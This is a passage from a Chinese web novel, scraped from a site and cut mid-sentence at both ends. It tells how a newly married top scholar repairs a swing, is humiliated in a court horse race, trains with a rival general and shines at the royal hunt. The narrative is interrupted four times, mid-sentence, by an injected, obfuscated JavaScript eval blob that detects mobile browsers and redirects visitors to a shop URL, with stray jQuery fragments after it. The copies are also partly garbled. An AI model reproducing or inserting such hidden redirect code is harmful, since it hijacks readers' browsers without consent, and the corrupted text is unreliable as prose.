秦砚松了口气,心道若不是什么作奸犯科之事,帮忙代笔也无妨,于是点头道:“虞公子但说无妨。” “就是……” 虞英才搓了搓手,凑近了些,“我托人搞到了下次相府清谈的议题,想请秦兄帮忙写一篇策论,我好去找穆小姐讨教,多说几句话……” “噗——” 秦砚刚喝进嘴的茶全都呛了出来,咳得满脸通红。 尹都把那碟花生米放在虞英才面前,用勺子敲了敲他的脑袋。 “我说虞公子,你这脑袋里除了穆小姐还有别的吗?秦砚是相府姑爷,你找他帮忙写文章,去接近穆小姐?怕不是脑子进水了?” “是啊……咳咳咳……” 秦砚用袖子擦了擦脸,为难道,“小姐认识我的字迹,对我的行文风格也很熟悉,这事我恐怕帮不了你。” “你改改风格,然后我直接背下来不就好了吗?” 虞英才揉了揉脑袋,嘟囔道,“相府姑爷又怎么了,反正只是逢场作戏而已,穆小姐又不喜欢你。” 秦砚:“……” 虞英才说罢,似乎觉得这话有些欠妥,于是又找补道:“况且秦兄是被迫入赘相府的,你也不喜欢穆小姐,对吧?” 秦砚:“………………” 尹都大喇喇地反手拉过一张椅子坐下,对虞英才说:“人家是高高在上的相府千金。那样的女子,眼里只有利益得失,心机深沉得吓人。你费劲心思,就算能凑到她跟前又如何?人家压根不会多看你一眼。” “我不许你这么说穆小姐!” 虞英才腾地站起身,怒极拍桌,一巴掌直接把本就单薄的桌子给拍散了架,桌上的茶壶茶杯稀里哗啦砸了一地。 尹都跳起来,气道:“说话就说话,你拆我店作甚?!” “不过就是一张破桌子,我赔给你便是了!” “说得轻巧,我这可是百年老店传下来的古董!” “你老是说穆小姐的坏话,我早就看你不爽了!你要是不服,我们现在就去外头比划比划!” “比就比!谁怕谁!” 秦砚上前拉住撸袖子的尹都,在他耳边低声劝道:“尹兄息怒,虞公子自幼练习拳脚功夫,力大无穷,你打不过他的。” 尹都气结,一把甩开他的手:“怎么着,仗着会点拳脚就可以随便欺负人吗?” 虞英才叉着腰,不甘示弱:“我怎么欺负你了?我都说了赔钱给你,你还想怎样?” …… 好不容易劝住了两个活宝,秦砚急匆匆地赶回相府,已经是戌时三刻了。 沁芳院里没看见穆卿云的身影,他又转身往院外方向走去。 路过相府后花园,一道小小的身影忽然吸引了秦砚的视线。 穆子钰孤零零地蹲在落满残叶的秋千旁边,难得身边没有那群前呼后拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524725|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的下人。 秦砚犹豫片刻,还是朝他走了过去。 “小少爷,天都快黑了,你怎么一个人在这儿?” “秦砚?”穆子钰被他吓了一跳,当即板起小脸,“你管我!” 秦砚脚步顿了顿,心里嘀咕了句没大没小,脚下还是走了过去。 穆子钰连忙站起身,把秋千挡在身后,抬头凶巴巴地瞪着他。 秦砚伸长脖子一看,那秋千上面的横木似乎破了一块儿,断裂的木板被穆子钰攥在手里背在身后。 “你把秋千弄坏了?”他挑眉问。 穆子钰立刻跳脚:“不是我弄的!是年久失修,它自己断掉的!” “哦……这样啊。” 秦砚也不拆穿,直接绕过他,走到秋千前仔细看了看。 “绳索磨损得厉害,木板也裂了,”他蹲下身,用手指摸了摸断裂处,“得换新的才行。” 穆子钰梗着脖子威胁他:“这是我阿姐最喜欢的秋千,你要是敢告状就死定了!” 这臭小子…… 秦砚站起身,拍了拍手上的灰:“等着。” 说完他便转身往沁芳院的方向走去。 穆子钰愣在原地,冲着那背影喊:“你、你去哪儿?” “找工具。” 半炷香后,秦砚拎着个木匣子回来了,里面装着他从杂物房翻出来的锤子、凿子、麻绳,还有一块备用的木板。 穆子钰蹲在旁边,看着秦砚撸起袖子,叮叮当当地敲打起来。 “你……你怎么还会这个?” 秦砚头也不抬:“我爹是木匠,我从小就跟着他学。” “木匠?”穆子钰皱起小脸,“可你不是状元吗?状元还干这个?” 秦砚笑了笑,手里的动作没停:“状元也是人,会点手艺有什么稀奇。我会的可多了,不止这个。” 穆子钰将信将疑地看着他。 秋千很快修好了,秦砚站起身,拍了拍手上的木屑:“好了,试试吧。” 穆子钰坐上秋千,脚尖点地,轻轻晃了两下,兴奋道:“真的修好了!比原来还稳!” 秦砚扫了一眼满地的木料,忽然掏出随身携带的小刀,就着旁边的石阶,开始削削刻刻。 穆子钰好奇地凑过去,只见秦砚手里的木头渐渐成形,是个巴掌大小的小方块,上面还雕着几道奇怪的凹槽。 “这是什么?” “鲁班锁。” 秦砚把小木块递给他,“七个零件拼起来的,解开它就算你厉害。” 穆子钰接过来,翻来覆去看了半天,一脸惊奇:“这……这怎么解?” 秦砚站起身,拍了拍他的脑袋:“自己琢磨。要是能解开,下次我给你做个更难的。” 穆子钰拍开他的手,撅起嘴道:“少瞧不起人!我这就解开给你看看!” 秦砚耸耸肩膀,开始收拾满地的材料和工具。 “天色不早了,早点回去吧,省得下人们找不到你,又该着急上火了。” 秦砚叮嘱了一句,转身要走。 “喂!” 穆子钰叫住他,却又别过脸去,声音闷闷的,“那个……秋千的事儿,别告诉我阿姐,谢谢你啊。” 秦砚嘴角微微扬起,摆了摆手,继续往沁芳院走去。 12. 第 12 章 几日后。 穆卿云难得得了空闲,趁着精神还好,披着氅衣在院中慢慢踱步。 知微跟在身侧,絮絮叨叨地说着府里这几日的琐事。 路过草木葱茏的花园,穆卿云脚步忽然顿住,目光落在了不远处的秋千上。 知微顺着她的目光看过去,惊讶地发现那秋千绳索崭新,木板光滑,显然是被换过了。 “小少爷每次心情不好的时候,最喜欢在这里荡秋千。时间长了,绳索磨损得厉害,木板也裂了。” 知微上前摸了摸,疑惑道,“奴婢前几日还说要找人修呢,怎么就已经换新的了?” 穆卿云没有接话,垂下眼睫若有所思。 “小姐,您要坐坐试试吗?新修的,肯定稳当。”知微试探着问。 穆卿云掩唇轻咳了几声,把氅衣又拢紧了些,看了一眼空荡荡的秋千,又收回视线。 “风大,算了。” 初春时节,乍暖还寒,兵部牵头举办了春蒐演武,翰林院也得前去参加。 说是观摩学习,实则各路官员借此机会交际应酬,顺便看看各家子弟的骑射本事。 秦砚本不想来,但院正韩信鸿一句“翰林院上下都要到场”,他也不好推脱,只得跟着同僚们一同前往。 校场上旌旗招展,骏马嘶鸣。几轮箭术比试过后,兵部的人提议来一场赛马助兴。 “诸位翰林院的饱学之士,可有人愿意下场一试?”主持的武官笑着看向翰林院这边。 读书人哪擅长这个? 翰林院众人面面相觑,谁都不愿出头。 韩信鸿却忽然笑了,目光看向人群后方的秦砚。 “秦修撰,本官记得你是寒门出身,乡野长大的孩子,总该会骑马吧?” 秦砚一怔,连忙道:“韩大人,学生确实不会……” “不会?” 韩信鸿挑了挑眉,背起手道:“自古大丈夫当文武双全,你堂堂新科状元,总不好只会闷在屋里读书吧?” 周围响起几声低低的笑。 秦砚攥紧了袖口,还想再推辞,韩信鸿却已经转头对那武官喊道:“我们翰林院有人愿意下场,就秦修撰了!” 秦砚脸色微变,明白自己已经没有退路,只好硬着头皮出列。 马被牵上来的时候,秦砚心里顿时咯噔一下。 那是一匹性子烈的枣红马,还没靠近就打着响鼻刨蹄子,一看就不是新手能驾驭的。 他硬着头皮踩上马镫,试了几次才勉强爬上马背,姿势狼狈又别扭。 校场边上,已经有人开始交头接耳,捂着嘴笑。 “这就是新科状元?” “听说还是相府的姑爷呢,连马都不会骑……” 秦砚听见那些讥笑声,面上不动声色,只是握紧缰绳,尽力稳住身子。 鼓声一响,几匹马同时冲出。 秦砚伏在马背上,根本不敢催马快跑,只求能稳稳当当跑完一圈,别出丑就行。 然而刚跑出半程,旁边一匹马忽然贴近,马背上的年轻武官冲他咧嘴一笑,然后抬手扬鞭,狠狠抽向秦砚的马屁股。 枣红马吃痛,长嘶一声,猛地向前一蹿。 秦砚猝不及防,身子猛地后仰,整个人直接从马背上栽了下去。 “砰”的一声闷响,他重重摔在地上,后背先着地,摔得眼冒金星,半天喘不上气。 那匹枣红马跑出几步,又停下来,低头嗅了嗅他,然后若无其事地踱开了。 校场上静了一瞬,随即爆发出震天的哄笑。 “哈哈哈!这就是翰林院的状元?” “摔得可真够漂亮的!” “秦大人,还能动吗?要不要扶你起来啊?” 秦砚躺在地上,望着灰蒙蒙的天,大口喘着气。 后背疼得几乎动不了,但他还是咬紧牙关,慢慢撑着地面,一点一点坐了起来。 校场边,韩信鸿负手而立,捋着胡须哼笑道:“年轻人,多摔几次就会了。” “砰!” 僻静的茶楼里,虞英才一巴掌拍在尹都新换的桌子上,震得桌上的杯碟哐当一声,尹都的心也跟着一颤。 “那韩信鸿摆明了就是想当众给你难堪,简直欺人太甚!” 秦砚鼻子里塞着止血的的布条,龇牙咧嘴地揉着自己背上的伤处,“我知道,但有什么办法呢?他是翰林院院正,是我的顶头上司,我还能公然抗命不成?” “岂有此理!我去找他理论,帮你讨个公道!” 尹都一边低头查看自己的桌子有没有裂纹,一边凉凉泼冷水:“那韩信鸿可是正五品大官,你爹到人家面前都不够看的,你还能怎么着?” “我……” 虞英才一时语塞,“那总不能就这么算了吧?要是这口气都能咽下去,那往后秦兄还怎么在翰林院里立足?” “怎么立足?夹起尾巴做人呗!身为相府的人,却在翰林院当差,不忍气吞声能怎么办?” 尹都瞪了他一眼,转头看向秦砚,“你也是的,又没摔着脸,这鼻血怎么还止不住了?” 秦砚仰着头瓮声瓮气道:“兴许是这几日人参汤喝多了,有点上火吧。” 尹都扯开他的后领看了一眼,发现脊背上已经是一片青紫。 “你这要找大夫看看吧?至少也买点跌打药酒擦一擦,不然还有的受。” 秦砚摇摇头:“算了,药酒味道重,让穆小姐发现就不好了。” 尹都一听,当即翻了个白眼:“都什么时候了还惦记你的穆小姐!” 虞英才却忽然凑过来,压低声音道:“秦兄,我有个主意!” 秦砚扭头看他,总觉得这表情不太妙。 “你听我说啊,”虞英才神秘兮兮地环顾四周,确认没人偷听,才继续道,“那韩信鸿不是仗着自己是院正欺负你吗?咱们就给他来个以牙还牙!” “怎么个以牙还牙?” “你也让他摔一跤!” 秦砚愣住:“……” 虞英才越说越来劲,“他不是喜欢看人出丑吗?咱们就让他也尝尝从马背上摔下来的滋味!” 秦砚扶额:“虞公子,那是翰林院院正,我怎么能……” “你动手隐蔽一点,谁知道是你干的!” 虞英才挤眉弄眼,“我认识几个太仆寺的兄弟,到时候帮你在韩信鸿的马鞍上动点手脚,保证让他摔得人仰马翻!” 尹都放下茶壶,幽幽道:“虞公子,你这是想让秦砚死得更快吧?” “怎么会?神不知鬼不觉……” “在马鞍上动手脚,要是被查出来怎么办?就算查不出来,韩信鸿摔了,第一个会怀疑谁?” 尹都翻了个白眼,“秦砚今天刚被算计,明天韩大人就摔了,你是当别人都傻还是当秦砚命长?” 虞英才眨了眨眼,显然没想这么深。 “那……那就换个法子!”他一拍大腿,“要不咱们买通翰林院的厨子,在他饭里下巴豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524726|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “虞公子,你饶了我吧,”秦砚哭笑不得,站起身来,“天色不早了,我得先走了。” 回到相府,秦砚一路低头避着人,生怕被人看出异样。 可谁知刚绕过回廊,却迎面碰见了下朝归来的穆相。 穆相的院落在相府的另一侧,通常也不会路过这里,所以秦砚完全没料到会撞上他。 此刻避无可避,他只得硬着头皮上前,恭敬行礼:“见过相爷。” 穆相瞥了他一眼,不咸不淡地“嗯”了一声,好在也没有多问,只是径直往正院去了。 秦砚松了口气,不敢多做停留,连忙走向沁芳院的书房。 戌时三刻,是秦砚每日固定来找穆卿云请教课业的时间。 穆卿云刚批完案头的最后一份折子,揉了揉胀痛的额头,问:“什么时辰了?秦大人还没来?” 知微轻柔地帮她按着肩,答道:“兴许是翰林院有事耽误了吧,秦大人一向都很准时的。” 两人正说着,就听见房门被敲响,秦砚的声音在门外响起。 “穆小姐,晚生来迟了。” 穆卿云按了按眼角,打起精神:“进来吧。” 秦砚轻手轻脚推开门,进门后便老老实实站在门边。 知微抿唇一笑,躬身退下,顺便帮他们带上了门。 秦砚撑着扶手,在书案对面缓缓坐下,从袖中取出几页写得密密麻麻的纸张,双手递了过去。 “这是小姐上次交代的关于漕运整顿的札记,晚生已经读完了那几卷卷宗,写了一些浅见,请小姐过目。” 穆卿云接过,垂眸细细翻阅。 秦砚端坐着,目光却有些飘忽。后背的伤处隐隐作痛,让他不敢坐得太实,只能微微侧着身子,姿势别扭得很。 穆卿云看得认真,唇角微微弯了弯。 “这一处关于分段运输的建议,倒是有些新意。” 她抬眸看他,“是你自己想出来的?” 秦砚点点头:“晚生查阅前朝旧案时发现,漕运之弊常在于一船到底,一旦中途出问题,整批货物都要延误。若能分段接运,各负其责,或许能减少些风险。” 穆卿云微微颔首,又指出了几处可以再斟酌的地方,秦砚一一记下。 不知不觉,窗外的天色又暗了几分。 秦砚起身,把写满批注的纸张仔细收好,然后躬身行礼:“多谢小姐指点,晚生回去再改。天色不早了,小姐早些歇息,晚生告退。” 穆卿云微微一怔。 这就走了? 往常这人来请教课业,总是借着各种由头磨蹭到很晚。一会儿问这个问题,一会儿又问那个典故,书读完了还要讨杯茶喝,喝完茶又说什么“方才那处没太明白”,非要再问一遍。 知微私下里笑过好几回,说姑爷这是舍不得走呢。 今日怎么…… 穆卿云抬眸看他,目光在他脸上停了一瞬,忽然察觉出几分异样。 他的脸色似乎比平日里苍白了些,眼下也有些青痕,像是没休息好。 “秦大人。” 秦砚脚步一顿,回头看她。 穆卿云张了张嘴,想问什么,终究只是淡淡道:“回去早些休息吧,平日里若是有什么需要我帮忙的,尽管开口便是。” 秦砚愣了愣,连忙拱手道:“是,多谢小姐关心。” 房门轻轻关上。 穆卿云望着那道门,眉心微微蹙起,总觉得哪里有些奇怪。 13. 第 13 章 翌日。 相府的军机阁里气氛肃穆,穆相端坐首位,右侧坐着穆卿云,下首还有几位相府心腹幕僚。 “江南盐税的事就这么定了,诸位散了吧。” 穆相摆了摆手,忽忽然扭头看向女儿,“时雨,那秦砚最近表现如何?我看你每日都在教他读书,也有段时日了吧。” 穆卿云垂下眼睫,轻笑道:“秦大人天资聪颖,又刻苦用功,自然是进步不小。父亲改天考校一番就知道了。” “嗯……” 穆相沉吟片刻,忽然想起什么,“昨夜我下朝回来,还在游廊下碰见他了,他鬼鬼祟祟地躲着人,走路姿势也怪异得很,不知道是怎么了。” 穆卿云动作一顿,蓦地想起昨夜秦砚匆匆告辞的模样。 下首的邵同光忽然轻嗤一声,阴阳怪气道:“相爷有所不知,昨日春蒐演武,那秦砚被韩大人派去赛马,结果摔了个人仰马翻,当场闹了大笑话。” 穆相眉头一皱:“竟有此事?” “千真万确,”邵同光毫不掩饰脸上的鄙夷,“秦大人这次当众出丑,真是把翰林院和相府的脸面都一同丢尽了。” 原来如此…… 穆卿云眸光微沉,原先心里的疑惑终于有了答案。 这天翰林院差事清闲,下值比平日要早。 秦砚刻意放慢了速度,等到人差不多都走光了,才姿势僵硬地出来。 “秦大人!” 刚踏出门槛,斜对面的槐荫下就有人唤了他一声。 秦砚抬头望去,发现叫住他的人竟然是知微,而且她身后还停着一辆装饰雅致,帘幕低垂的马车,不用想也知道上面坐着什么人。 “知微姑娘?” 秦砚快步上前,飞快看了一眼马车上晃动的青纱帘影,低声道,“小姐怎会在此处?” 知微笑着福身,神秘兮兮道:“姑爷快上车吧,我家小姐要带你去个好地方。” 秦砚一头雾水地跨上马车,小心翼翼地掀开青纱帘。 马车装饰雅致,铺着柔软的锦垫,内部空间不小,穆卿云穿着厚厚的狐裘氅衣,膝头放着小暖炉,正坐在里面翻着一卷书。 “秦大人来了。” “穆小姐。” 秦砚应了一声,弓着腰往里挪了挪,犹豫半晌才拘谨地在她右侧坐下。 “小姐要带我去哪儿?” “去了就知道了。” 穆卿云笑着收起书卷,没有直接回答,反而问道,“我看翰林院今日下值挺早,秦大人怎么这么晚才出来?” “手头有些琐事还没处理完,所以耽误了些时间。” 秦砚不敢看她的眼睛,随口扯了个谎。 穆卿云微微颔首,看了眼他紧绷的脊背和蜷缩的手指,轻轻笑了笑,没再追问。 车夫扬鞭催马,马车跟着微微晃动。 秦砚想要开口说些什么,但鼻尖闻到那抹跟手帕上一模一样的馨香,脑中顿时一片空白,舌头像打了结。 穆卿云静静看了他一会儿,忽然问道:“秦大人很怕我?为何如此紧张,满头大汗。” 马车里没有炭盆,温度也不高,这次也不能再拿闷热来当借口。 秦砚喉结滚了滚,硬着头皮道:“没有,我只是……先前忙着收拾东西,所以跑了一段路,有些热罢了……” “那为何离我那么远?坐过来些。” 秦砚呼吸一滞,只得小心翼翼地往她那边挪了挪。 穆卿云盯着他的动作,见他神色还算自然,就知道他身上的伤应该是好得差不多了,于是心中暗暗松了口气。 约莫大半个时辰后,马车终于停下。 秦砚下了车,发现这里竟然是一处开阔平整的跑马场。 “小姐,这是……” 还不等他问出口,一名身形挺拔的年轻男子就朝他们大步走了过来。 来人一身玄色劲装,腰悬佩剑,眉目英挺,生得极为俊朗。 步伐间自有一股行伍之人的利落干脆,却又透着几分世家子弟的矜贵。 他剑柄上还缠着金丝,系着绯色流苏,一看就品阶不低。 秦砚连忙抱拳躬身,正准备行礼问候,那人却径直掠过他,走到穆卿云面前,眉眼舒展地笑道:“时雨,你来了!” 秦砚惊愕回头,震惊于这人对穆小姐的称呼竟然如此亲昵。 “卫凛将军倒是准时。” 穆卿云笑着回应,拢紧身上的大氅,顺手把手里的暖炉递给身后的知微。 “这位是羽林卫中郎将,卫凛。” 穆卿云侧身对秦砚介绍道,“我幼时的旧识。” 说罢又转向卫凛,微微扬了扬下巴:“这位是秦砚,你应该听说过。” 卫凛这才将目光落在秦砚身上,上下打量了一眼,唇角勾起一抹意味不明的笑:“听说过。新科状元,入赘相府的姑爷。” 最后两个字咬的格外重,好像是想把秦砚本人给用牙碾碎了一样。 秦砚后颈一凉,还是强撑着镇定,垂首拱手:“在下翰林院秦砚,见过卫将军。” 卫凛既不应声,也不回礼,只是冷冷地打量着他。 两人之间气氛凝滞,火药味儿浓得好像一触即燃。 穆卿云轻咳一声,打破僵局:“卫将军,今日我带秦砚前来,是想请你指点他骑射功夫,给他补一补功课。” “给他补课?” 卫凛眉毛一竖,瞪大眼睛,“我还以为你今日约我出来,是为了教子钰骑射呢?” 穆卿云淡淡一笑:“子钰这几日在上太学课,骑射教习得等到开春之后了。” 卫凛眉头紧锁,拉着她往一旁走了两步,压低声音道:“时雨,你有没有搞错,我好歹也是个将军,你让我来给这书生当武师傅?” 穆卿云不动声色地抽出手臂,淡然道:“卫将军如今暂居京中,无军务在身,反正闲着也是闲着,就当帮我个忙。” 看着那说着悄悄话的两人凑得极近,肩膀都快碰到一起,秦砚垂在身侧的手悄悄攥紧,心里像是打翻了醋坛子,又酸又涩,莫名不是滋味。 不知穆卿云说了什么说服的卫凛,他总算松了口,脸色却依旧难看。 “秦大人是吧,”他上下扫了秦砚一眼,冷哼道,“我在军营里可是出了名的苛刻,你想跟我学骑射,可得吃点苦头,如何? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524727|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢不敢应下?” 秦砚努力挺直脊背,不卑不亢道:“求之不得,还请将军不吝赐教!” 穆卿云坐在避风的校场看台上,知微站在她身后,看着校场内,卫凛驱赶着秦砚,一圈又一圈地策马狂奔。 “小姐,您不是说姑爷身上还有伤吗?卫将军这么严厉,训练强度这么大,他能撑得住吗?” 穆卿云端着杯刚送来的热茶,暖了暖冰凉的手指,“学习骑射早晚都要吃点苦头的。每年一度的皇家春猎快开始了,他若是不赶快把骑术练起来,到时候又会被刁难出丑,白白让人笑话。” 知微点了点头,心里默默为秦砚捏了把汗。 “稳住!腰背挺直!夹紧马腹!看你那软绵绵的样子!来之前没吃饱饭吗!” 秦砚强忍着旧伤未愈的脊背传来的隐痛,收紧缰绳,停在卫凛的面前。 卫凛也骑着一匹通体漆黑的骏马,不过比秦砚那匹更更高大,也更神骏,一看就知道是万里挑一的良驹。 “就你这骑术,连六岁小孩都不如,将来若是上了沙场,也只能当炮灰!” 秦砚虽然不明白自己一介文臣,为什么会上沙场,但还是恭敬道:“将军教训的是,我会加紧练习的。” 卫凛冷哼一声,用鼻孔看他,低声骂了句:“害群之马。” 说完他忽然催马上前,逼近秦砚身侧,勾起唇角,挑衅似的问他:“你可知我这是什么马?” 秦砚垂眸看了一眼,不确定道:“汗血宝马?” “嘁,”卫凛嗤笑一声,在他耳边一字一句道,“青,梅,竹,马。” 秦砚:“……” 看台上,穆卿云远远望着那凑在一起的两人,疑惑道:“怎么不继续练了?说什么悄悄话呢?” 这两人从一见面就不对付,这会儿还能聊到一块儿去? 还没等她想明白,就见秦砚忽然扬起长鞭,在空中狠狠炸了个鞭花,而后干脆利落地掉头离去。 那声鞭响还把卫凛的马都吓了一跳,前蹄高高扬起,连连嘶鸣,险些让他从马背上摔下来。 “可恶,秦砚!你个酸儒书生!竟敢在本将军面前耍威风!” 卫凛脸色铁青,死死攥住缰绳,稳住身体,大骂道,“给我加练五十圈!不跑完不准下来!” 相府。 邵同光拿着亲手誊写的机要文稿,另一只手拎着食盒。 里面装着刚从京中最有名的点心铺买来的糕点,最近在达官贵人圈子里很是风靡,而且据说里面还放了上好的川贝,对久咳体虚的人大有裨益。 他脚步轻快地来到沁芳院,院外的丫鬟却告诉他小姐今日不在家。 “不在?” 邵同光心里疑惑,最近没什么要紧的朝务,穆卿云身子不好,没事的时候通常不会出门,今日怎会忽然外出了? “你知道小姐上哪儿去了吗?” 丫鬟知道他是府里的常客,于是老实回答道:“小姐带着姑爷去校场练骑射了。” “什么?!” 邵同光脸色一僵,一想到秦砚当众出丑的事儿还是他亲口告诉穆卿云的,这会儿简直跟吃了只苍蝇一样难受。 14. 第 14 章 皇家猎场设在京郊百里外的北山。 仲春三月,司天监择定的吉日,圣驾亲临,随行的文武百官,宗室子弟按品阶列阵。 皇帝一身明黄戎装端坐高台,百官按品阶列于台下,文官居左,武官居右。 秦砚站在翰林院的队伍末尾,远远望见对面的武官队列里,卫凛正抱着胳膊,用鼻孔朝他这边哼了一声。 那意思分明是:待会儿要是丢了人,可别说是我教的。 秦砚收回目光,攥紧了手里的角弓。 鼓声三响,春猎正式开始。 皇帝率先纵马入场,身后跟着羽林卫亲随。待皇家仪仗散开,百官这才纷纷催马,四散涌入山林。 秦砚夹紧马腹,深吸一口气。 这些日子跟着卫凛勤学苦练,如今做起来倒也不算太难。马儿稳稳迈开步子,带着他往林中深处走去。 开局倒还算得上顺遂。秦砚不敢争先,也不愿落后,只随在中后段队伍里。 他依着卫凛教的口诀,左手控缰,右手搭弓,第一箭便射中了一只仓皇逃窜的雉鸡。 羽箭穿透雉鸡翅膀,那禽鸟扑腾着落地,被随行的小吏迅速捡起,登记在案。 接连几箭,他又射中两只野兔,虽算不得箭无虚发,却也中规中矩,丝毫没有露怯。 身旁几位相熟的翰林官见状,纷纷侧目,有人低声赞叹:“秦修撰几日不见,竟有这般长进。” 秦砚微微颔首致意,扭头看向高台之上的穆相。 穆相年事已高,没有亲自下场,只是跟温太傅一左一右坐在御阶两侧。看见秦砚的表现竟然出乎意料的不错,他捋着胡须微微点头,眼里浮起些许欣慰。 一旁的温太傅瞥了他一眼,冷笑道:“这才刚开始呢,穆相可别高兴得太早了。” 穆相不紧不慢道:“江山代有才人出,你我都已经老啦,往后的事,还得要看这群年轻人啊。” 温太傅抖了抖袖子,皮笑肉不笑:“穆相老当益壮,还能坐镇中枢,就不必在我面前谦虚了。” 高台上暗流涌动,猎场内也杀机四伏。 西北麓的密林边缘,这里人迹罕至,刚刚远离主猎场,几道不怀好意的目光牢牢锁在了秦砚身上。 秦砚在一片灌木丛后发现了几只野鹿,他屏住呼吸,缓缓搭箭拉弓,正要松手,身侧忽然传来一阵急促的马蹄声。 三匹马从斜刺里冲出,横在他与猎物之间,为首那人回头看了他一眼,嘴角噙着笑,不紧不慢地催马往前,把那群鹿惊得四散奔逃。 秦砚手一松,箭矢落空。 他抬起头,认出那人,吏部侍郎张元奎,也是温太傅的左膀右臂。 “哎呀,秦大人,对不住对不住,”张元奎勒住马,语气里没半分歉意,“我这马不听话,惊了你的猎物,实在是罪过。” 他身后两人也跟着笑了起来,目光在秦砚身上来回打量,脸上满是嘲弄。 “无妨。”秦砚平静地收起角弓,拨马便要走。 “秦大人别急着走啊,”张元奎催马追上来,跟他并肩而行,“听说秦大人前些日子在校场摔得挺惨?今日却意气风发,连连得手,倒是让我刮目相看。” 秦砚攥着缰绳的手紧了紧,面上不动声色:“劳张大人惦记,摔了几回,自然就会了。” “哦?” 张元奎挑了挑眉,跟身后两人交换了一个眼色,“那不如咱们比一比?看看秦大人这临时加练的本事,到底如何?” 话音刚落,他忽然伸手狠狠一扯秦砚的缰绳。 秦砚早有防备,双腿用力夹紧马腹,同时手腕一转,缰绳从对方手中滑脱。他顺势借力,策马向前窜出数步,恰好避开了身后朝他直直撞来的马匹。 “哟!看来这段时日,秦大人跟着卫将军没少下功夫啊。” 张元奎沉下脸,带着身后两人左右夹击,想要把秦砚往林子更深处逼去。 秦砚心里明白,这是要把他逼到人迹罕至之处,好下手使绊子。 他咬了咬牙,稳住心神。 卫凛那厮虽然嘴毒,但教的东西确实管用。被夹击时如何控马,被逼到险处如何脱身,甚至如何在马上与人周旋,他都一一练过。 前方是一段窄路,两侧灌木丛生。 秦砚忽然勒紧缰绳,马儿速度骤降。张元奎三人猝不及防,瞬间冲到了前头。 待他们勒马回头,秦砚已经拨转马头,从侧方一条小道斜插出去,稳稳落在他们身后。 “你——” 张元奎脸色骤变,显然没想到这书呆子竟能摆脱他们的包围。 秦砚远远朝他拱了拱手,嘴角微微扬起:张大人,失陪了。” 说罢,他一夹马腹,扬长而去。 摆脱那三人后,秦砚在林子里又转了小半个时辰,却始终没寻到合适的猎物。不是被人抢先,就是刚要出手便被惊扰。 他在心里盘算着刚刚猎到的猎物,正琢磨着要不要就此收手,前方灌木丛里忽然传来一阵窸窣声响。 秦砚立刻勒住马,搭箭上弦,凝神细听。 灌木丛中探出一颗脑袋,那是一只体型健硕的公鹿,头顶鹿角分叉繁复,一看便是极好的猎物。 秦砚屏住呼吸,缓缓拉弓。就在他瞄准鹿颈的那一刻,右侧忽然传来一阵极轻的脚步声。 他余光一扫,整个人顿时僵住。 明黄色的骑射服,熟悉的侧影。 是皇帝。 皇帝显然也发现了他,微微侧头,目光扫过来。随即,他又看向那只鹿,缓缓举起手中的弓。 两人瞄准的是同一只猎物。 秦砚脑中飞速运转,他看清皇帝的箭已拉至满弦,角度极佳,正对鹿首。只是那鹿站在溪边,若贸然射箭,恐会惊得它跃入溪中,错失良机。 他心念电转,缓缓重新搭箭,调整角度,箭尖偏离鹿身,指向它身侧的一棵矮树。 皇帝察觉到他的动作,侧目看了他一眼,眼中带着些许探究。 “咻——” 羽箭破空,秦砚的箭矢精准地射在矮树的枝干上,“啪”的一声,枝干断裂。公鹿受惊,猛地抬头,前脚一抬,恰好从溪边的阴影处走出,完全暴露在皇帝的箭下。 几乎在同时,皇帝的箭也应声而出。 箭出如电,势如破竹,正中梅花鹿的心脏。那庞然大物踉跄了几步,晃了晃,轰然倒地。 皇帝刚一得手,寂静的丛林里忽然窜出数道骑着马的身影,纷纷高声喝彩,山鸣谷应。 卫凛也不慌不忙地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524728|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑着马出现在皇帝身侧,意味深长看了秦砚一眼,说不上是欣慰还是意外。 皇帝把角弓丢给身旁侍卫,龙心大悦:“秦修撰不仅文章写得好,骑射之术居然也如此了得,真是文武双全啊!” 